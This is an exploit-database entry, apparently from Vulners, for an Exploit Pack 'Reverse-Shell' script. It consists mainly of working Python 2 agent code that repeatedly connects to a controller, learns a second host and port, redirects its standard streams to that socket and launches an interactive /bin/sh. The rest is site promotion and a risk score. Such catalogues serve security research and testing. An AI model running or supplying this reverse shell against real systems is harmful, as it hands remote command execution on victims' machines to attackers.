Lucene search
K

Reverse-Shell

🗓️ 01 Jan 2019 00:00:00Reported by Juan SaccoType 
exploitpack
 exploitpack
👁 16 Views

Shell Script with Reverse-Shell Functionalit

Code
# Shell Script created using Exploit Pack
# http://www.exploitpack.com - [email protected]
import socket,subprocess,errno,time,os,signal,sys

class Agent:
    def __init__(self, target, port):
        self.hostname = target
        self.port = int(port)
    def run_worker(self):
        while True:
            try:
                print "[?] Agent -> Exploit Pack"
                self.poke()
            except Exception,exc:
                  time.sleep(2)
            else:
                print "[?] Agent <- Exploit Pack"
        else:
            raise
    def poke(self):
        whoami = ([(checkip.connect(('8.8.8.8', 80)), checkip.getsockname()[0], checkip.close()) for checkip in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1])
        time.sleep(1)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((self.hostname, self.port))
        s.sendall(whoami)
        data = s.recv(1024)
        split = data.split(":")
        if whoami == split[0]:
            print "[*] Connected = Exploit Pack"
            sterminal = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sterminal.connect((split[1], int(split[2])))
            os.dup2(sterminal.fileno(), 0)
            os.dup2(sterminal.fileno(), 1)
            os.dup2(sterminal.fileno(), 2)
            subprocess.call(["/bin/sh", "-i"])
        s.close()
hostname = "127.0.0.1"
port = "1234"
new = Agent(hostname, port)
new.run_worker()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jan 2019 00:00Current
7.2High risk
Vulners AI Score7.2
16